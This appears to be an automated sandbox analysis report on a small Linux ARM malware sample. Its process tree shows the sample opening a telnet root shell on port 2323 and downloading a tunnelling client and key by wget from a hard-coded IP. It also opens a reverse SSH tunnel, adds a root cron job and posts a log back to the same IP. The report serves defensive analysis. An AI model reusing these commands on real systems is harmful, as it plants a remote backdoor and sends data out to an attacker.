10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
139s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/07/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample260723-hal8vahe82
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	785	x

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dbclient

Enumerates running processes
Discovers information about currently running processes on the system

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/netstat	dbclient
File opened for reading	/proc/net/dev	dbclient
File opened for reading	/proc/net/tcp	dbclient
File opened for reading	/proc/net/rt_cache	dbclient

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/106/cmdline	killall
File opened for reading	/proc/592/stat	killall
File opened for reading	/proc/10/stat	pidof
File opened for reading	/proc/103/stat	pidof
File opened for reading	/proc/vmstat	dbclient
File opened for reading	/proc/19/stat	pidof
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/585/stat	killall
File opened for reading	/proc/283/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/593/stat	pidof
File opened for reading	/proc/647/cmdline	pidof
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/156/stat	pidof
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/650/stat	killall
File opened for reading	/proc/592/stat	pidof
File opened for reading	/proc/95/stat	killall
File opened for reading	/proc/278/stat	killall
File opened for reading	/proc/310/stat	killall
File opened for reading	/proc/42/stat	killall
File opened for reading	/proc/2/stat	pidof
File opened for reading	/proc/41/stat	pidof
File opened for reading	/proc/43/stat	pidof
File opened for reading	/proc/5/stat	pidof
File opened for reading	/proc/134/cmdline	pidof
File opened for reading	/proc/313/stat	pidof
File opened for reading	/proc/638/cmdline	pidof
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/588/stat	killall
File opened for reading	/proc/638/cmdline	killall
File opened for reading	/proc/649/cmdline	pidof
File opened for reading	/proc/588/stat	killall
File opened for reading	/proc/592/stat	killall
File opened for reading	/proc/21/cmdline	pidof
File opened for reading	/proc/27/stat	pidof
File opened for reading	/proc/105/cmdline	pidof
File opened for reading	/proc/314/stat	pidof
File opened for reading	/proc/325/cmdline	pidof
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/41/cmdline	pidof
File opened for reading	/proc/650/stat	pidof
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/105/stat	killall
File opened for reading	/proc/286/stat	killall
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/139/stat	pidof
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/647/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/106/cmdline	killall
File opened for reading	/proc/719/stat	killall
File opened for reading	/proc/4/cmdline	pidof
File opened for reading	/proc/103/stat	killall
File opened for reading	/proc/638/cmdline	killall
File opened for reading	/proc/8/stat	killall

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:650
- /bin/date
  date
  2⤵
  PID:652
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:655
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:658
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  PID:661
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:667
- /bin/sleep
  sleep 1
  2⤵
  PID:676
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:684
- /usr/sbin/utelnetd
  /usr/sbin/utelnetd -d -l /bin/sh -p 2323
  2⤵
  PID:685
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/sleep
  sleep 1
  2⤵
  PID:688
- /bin/grep
  grep -q :2323
  2⤵
  PID:721
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:726
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  PID:743
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  PID:744
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:748
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:760
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:763
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:765
- /bin/sleep
  sleep 2
  2⤵
  PID:767
- /bin/sleep
  sleep 3
  2⤵
  PID:786
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:785
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:787
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:790
- /bin/cat
  cat
  2⤵
  PID:791
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:795

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 c2166d70c351acb0cf35e34fa483ca748fac074571189cb70c1ba61f2dae5f19
MD5 b3eeab5a66a3978dee2b33243692051b
SHA1 0f91980b0c37bb4c09eda315ae2a2d602a010e08
SHA512 ce022c4096d2c5e3c9ca3f5713155f5602c1dfe3603450d1a18bde9f21c31da0304ad66ec71db3ea6641f661a93f315d56bf912618a3b80444bfdc61a4cbc1b6
TLSH
T1B8A022A00202003803080088C8220800028EA08C2202E03C8830882020C008F0F20C32
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 97B
SHA256 82a2391e4e165886e1e84def54b2ec49564216518ae9fd0c8806101c8a5fd01e
MD5 381fb2935ad10ab1dff6f40eb1db0994
SHA1 030540ce775aaaa4e9682106bfed76198c63a0f7
SHA512 d3b9369b5f802591229bd27ab0d250595c87133f647bedc2bebd1059c763a22d5ca030dd3aaf7006a50eb6f84515d784165b04dd81dfe788352b9dfe649e5037
TLSH
T1D8B01290020220AC8735129688220941475E624C150DE06C5C758710209848A8F95D67
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 135B
SHA256 db572fe80ebe4a33892ef0f8505342416681fc84e8c02b62e737876cc1c5b38d
MD5 824ed012400bb093f620afd0a67737f5
SHA1 0f6a91d7624dd64d72980d3e2def63fb8d1c5ea4
SHA512 f77e321fde57dac2ce012221891be6163f538bdf813f1af1a3459991cd75ad54f53b16f11b4ed4619b65b9a98c565eb2b7580848d21ddc2441256856a6c1c6a5
TLSH
T11AC02BC4060210FDC2B4138248150984435E93081408903C4CB58740105C4868F94893
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 163B
SHA256 e5042e630d85b3e866cf58754c62a52f6d571d4665c045520b51fb474bd2b2e4
MD5 ba7ff5216b46ff24bb5e7bebe183711d
SHA1 a8f1624be7285498b99ef09ae47cbd2947139ee3
SHA512 501ef1b2b891b34a4d09797a9eb269e8e1a5f3d97207eabb1125a67f953c828389731b119209ffacf625cd73638c6be083a83165289d45991e35cb039875931b
TLSH
T166C08CDA060250FE96B813928C2B09C44BAAA3182609B06C5DB68B401068586CFA8893
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 89661330bca13bc0ef1a7c439720e18411dbf5dcdd6ae8803e3ad9a442f2adc1
MD5 7d937c3d7e29acb4058377370aff375b
SHA1 2075a658be052d8525e23c12fdcc5f8270aafedd
SHA512 65acf1154fd02a2d7459c459275e917fefcb7f738b9a9cf9b1ffdc474a1e46f46700e7cf8f301288127ce31c3f32d20ea6eaa2000021b9710f97c9423d7c9766
TLSH
T1F64100E53F223DA84B5149A45C3287708FDEAC5627CE082D712E14890FE21E4BFF9E06
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads